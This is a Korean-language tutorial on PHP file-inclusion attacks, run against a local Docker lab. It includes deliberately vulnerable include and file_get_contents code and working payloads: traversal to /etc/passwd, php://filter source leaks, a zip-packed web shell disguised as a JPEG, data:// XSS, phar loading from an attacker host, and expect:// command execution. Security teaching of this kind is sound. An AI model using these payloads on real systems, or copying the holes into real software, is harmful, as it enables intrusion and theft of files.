Home
System Hacking
📸

LFI & RFI 기법 및 실습

Type
기법
TIME
2022/06/28 02:53
분야
LFI & RFI
1 more property

FI(File Inclusion)

LFI(Local File Inclusion) & RFI(Remote File Inclusion)Local, Remote에 존재하는 파일을 웹에 포함시켜 응답을 받아 해커가 원하는 코드를 포함 시키거나 데이터를 포함시켜 응답을 받는 것을 의미합니다.

취약점 발생 함수

PHP를 기준으로 작성한 글입니다.
include(), include_once(), require(), require_once(), file_get_contents(), fopen()와 같은 다른 파일을 불러오는 함수에서 사용자의 입력 값을 통해 불러오는 파일 이름을 변경 가능할 경우 발생가능한 취약점 입니다.

Docker 환경 구성

command

docker build . -t fi
Bash
복사
docker run -p 80:80 --rm --name=fi fi
Bash
복사
위 코드를 실행한 뒤 http://127.0.0.1/index.php 에 접속합니다.
내부에는 hello.txt, world.txt 두개가 존재하는 것을 확인할 수 있습니다.
root@de0d3107f1e1:/var/www/html# ls -al | grep txt -rw-r--r-- 1 root root 19 Jun 28 04:41 hello.txt -rw-r--r-- 1 root root 19 Jun 28 04:41 world.txt
Bash
복사

Local File Inclusion

index.php Code

<!DOCTYPE html> <head> <title>File Inclusiton</title> </head> <body> <h1><a href="./index.php?file=hello.txt">hello</a></h1> <br> <h1><a href="./index.php?file=world.txt">world</a></h1> </body> </html> <?php if (isset($_GET['file']) && !empty($_GET['file'])) { include($_GET['file']); } ?>
PHP
복사
아래의 16 Line에서 취약점이 발생합니다.
include($_GET['file']);
PHP
복사

Request

GET /index.php?file=../../../../../../../etc/passwd
Bash
복사

Response

HTTP/1.1 200 ... root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ...
Bash
복사

Remote File Inclusion

web.php Code

<!DOCTYPE html> <head> <title>File Inclusiton</title> </head> <body> <form action='web.php' method="GET"> <label>URL : </label> <input type="text" name="url"> <input type="submit" value="Send"> </form> </body> </html> <?php if (isset($_GET['url']) && !empty($_GET['url'])) { $data = file_get_contents($_GET['url']); echo $data; } ?>
PHP
복사
아래의 18~19 Line에서 취약점이 발생합니다.
$data = file_get_contents($_GET['url']); echo $data;
PHP
복사

Request

GET /web.php?url=http://naver.com
Bash
복사

Response

NULL Byte Injection

해당 기법은 입력한 문자열 뒤에 .php와 같은 문자열이 붙을때 사용가능한 기법입니다.

Request

GET /index.php?file=../../../../../../etc/passwd%00.phpd
PHP
복사
현재는 NULL Byte Injection은 PHP 5.3.4에서 패치되었습니다.

Path and Dot Truncation

PHP는 4096 Byte의 파일 이름 제한이 있습니다. 주어진 파일 이름이 4096 Byte보다 길면 파일 이름을 자르고 뒤에 문자를 버립니다. 이를 통해서 이름 뒤에 붙는 확장자명을 Bypass 할 수 있습니다.

PHP Wrapper

지원하는 PHP Wrapper여기에서 확인할 수 있습니다.
아래의 코드로 지원하는 wrappers 확인이 가능합니다.
<?php var_dump(stream_get_wrappers()); ?>
PHP
복사
array(10) { [0]=> string(5) "https" [1]=> string(4) "ftps" [2]=> string(13) "compress.zlib" [3]=> string(3) "php" [4]=> string(4) "file" [5]=> string(4) "glob" [6]=> string(4) "data" [7]=> string(4) "http" [8]=> string(3) "ftp" [9]=> string(4) "phar" }
PHP
복사

file

file wrapper는 로컬 파일 시스템에 접근시켜 줍니다.

Request

GET /index.php?file=file:///var/www/html/web.php&url=http://127.0.0.1:1229
Bash
복사

Response

원래 파일의 내용과 더불어 web.php 코드 실행 결과도 확인 가능합니다.
또한 url로 전달된 http://127.0.0.1:1229의 내용도 확인가능합니다.
url로 전달된 링크까지 포함된 이유를 알 기 위해서는 include에 대해 알아야합니다.
메뉴얼에서 이야기하는 include의 경우 아래와 같습니다.
파일이 포함될 때 포함된 코드는 포함이 발생한 줄의 변수 범위를 상속합니다. 호출 파일의 해당 행에서 사용할 수 있는 모든 변수는 해당 지점부터 호출된 파일 내에서 사용할 수 있습니다. 그러나 포함된 파일에 정의된 모든 함수와 클래스는 전역 범위를 갖습니다.
즉 쉽게 말하면 include 원래 코드 사이에 include 한 코드를 넣어서 실행된다 라고 이해하시면 편합니다.

http

command

docker exec -it fi python3 -m http.server 1229 -d /local_server/
Bash
복사
위 커맨드를 입력해 docker 내부 1229번 포트로 서버를 열어줍니다.
도커 내부 서버임으로 접근이 불가능합니다.

Code

<!DOCTYPE html> <head> <title>File Inclusiton</title> </head> <body> <form action='web.php' method="GET"> <label>URL : </label> <input type="text" name="url"> <input type="submit" value="Send"> </form> </body> </html> <?php if (isset($_GET['url']) && !empty($_GET['url'])) { $data = file_get_contents($_GET['url']); echo $data; } ?>
PHP
복사
아래의 18 Line에서 로컬 서버에 접근할 수 있는 취약점이 발생합니다.
$data = file_get_contents($_GET['url']);
PHP
복사

Request

GET /web.php?url=http://127.0.0.1:1229/local_file.txt
Bash
복사

Response

접근 할 수 없는 Local Server에 접속 가능합니다.

php

php wrapper의 경우 I/O Streams를 접근할 수 있습니다.
자세한 내용은 공식 메뉴얼에서 확인할 수 있으며 저희는 취약점에 많이 사용되는 I/O를 살펴보겠습니다.

php://input

HTTP Body로 전달된 데이터 POST 데이터를 입력받아옵니다.

Request

POST /web.php?url=php://input <h1>hello</h1> or <?php phpinfo();?>
Bash
복사

php://filter

filter wrapper의 경우 파일의 I/Ofilters를 적용시켜 줍니다.
string.rot13
string.toupper
string.tolower
string.strip_tags
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
zlib.deflate
zlib.inflate
Other Filters
<?php var_dump(stream_get_filters()); ?>
PHP
복사
consumed
dechunk
convert.*
Name
Description
resource=
필수이며, filters를 적용하려는 대상입니다.
read=
선택 사항이며, | 로 구분하며 하나 이상의 filters를 적용시킵니다.
write=
선택 사항이며, | 로 구분하며 하나 이상의 filters를 적용시킵니다.
실제 공격에는 Conversion Filters에 convert.base64-encode를 이용하여 소스코드를 유출할 수 있습니다.

Request

GET /index.php?file=php://filter/convert.base64-encode/resource=///var/www/html/index.php
Bash
복사

Response

... PCFET0NUWVBFIGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8dGl0bGU+RmlsZSBJbmNsdXNpdG9uPC90aXRsZT4KICAgIDwvaGVhZD4KICAgIDxib2R5PgogICAgICAgIDxoMT48YSBocmVmPSIuL2luZGV4LnBocD9maWxlPWhlbGxvLnR4dCI+aGVsbG88L2E+PC9oMT4KICAgICAgICA8YnI+CiAgICAgICAgPGgxPjxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9d29ybGQudHh0Ij53b3JsZDwvYT48L2gxPgogICAgPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAoKICAgIGlmIChpc3NldCgkX0dFVFsnZmlsZSddKSAmJiAhZW1wdHkoJF9HRVRbJ2ZpbGUnXSkpCiAgICB7CiAgICAgICAgaW5jbHVkZSgkX0dFVFsnZmlsZSddKTsKICAgIH0KPz4= ...
Bash
복사
위와 같이 출력된 결과를 base64decode.org 사이트에서 디코딩하면 아래와 같이 소스 코드를 확인할 수 있습니다.
<!DOCTYPE html> <head> <title>File Inclusiton</title> </head> <body> <h1><a href="./index.php?file=hello.txt">hello</a></h1> <br> <h1><a href="./index.php?file=world.txt">world</a></h1> </body> </html> <?php if (isset($_GET['file']) && !empty($_GET['file'])) { include($_GET['file']); } ?>
PHP
복사

zip

zip warpper의 경우 압축 파일을 조작하기 위한 warpper입니다.
zip:///filename_path#internal_filename 에서 filename_pathinternal_filename의 경로 즉 ZIP 파일의 경로이며, internal_filename는 실행할 악성 파일의 이름입니다.
해당 warpper의 경우 공격자가 서버에 파일을 업로드할 수 있을 경우 발생하며 아래와 같이 이용 가능합니다.

command

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php
Bash
복사

Request

GET /index.php?page=zip://shell.jpg#payload.php
Bash
복사

data

data warpper의 경우 RFC2397의 표준을 지키는 stream warpper입니다.
이를 이용하여 file_get_contents와 같은 함수 혹은 allow_url_include, allow_url_fopen이 활성화 되어있는 경우 사용하여 XSS 공격을 발생시킬 수 있습니다.

Request

GET /web.php?url=data://text/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Bash
복사

Response

<!DOCTYPE html> <head> <title>File Inclusiton</title> </head> <body> <form action='web.php' method="GET"> <label>URL : </label> <input type="text" name="url"> <input type="submit" value="Send"> </form> </body> </html> <script>alert(1)</script>
HTML
복사

phar

phar warpper의 경우 PHP Archive를 지원하는 stream warpper입니다.
보통의 경우 공격자의 서버에 phar 파일을 업로드하고 불러오는 방식으로 exploit에 사용됩니다.

attack

// create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering();
Bash
복사

Request

GET /index.php?page=phar://attacker/payload.phar
Bash
복사

expect

expect wrappersystem command를 실행시켜 줍니다.
메뉴얼에서 확인할 수 있듯 기본적으로 지원하지 않는 wrapper입니다.
Note: This wrapper is not enabled by default In order to use the expect:// wrapper you must install the » Expect extension available from » PECL.

Request

GET /index.php?file=expect://ls
Bash
복사

Payloads

Reference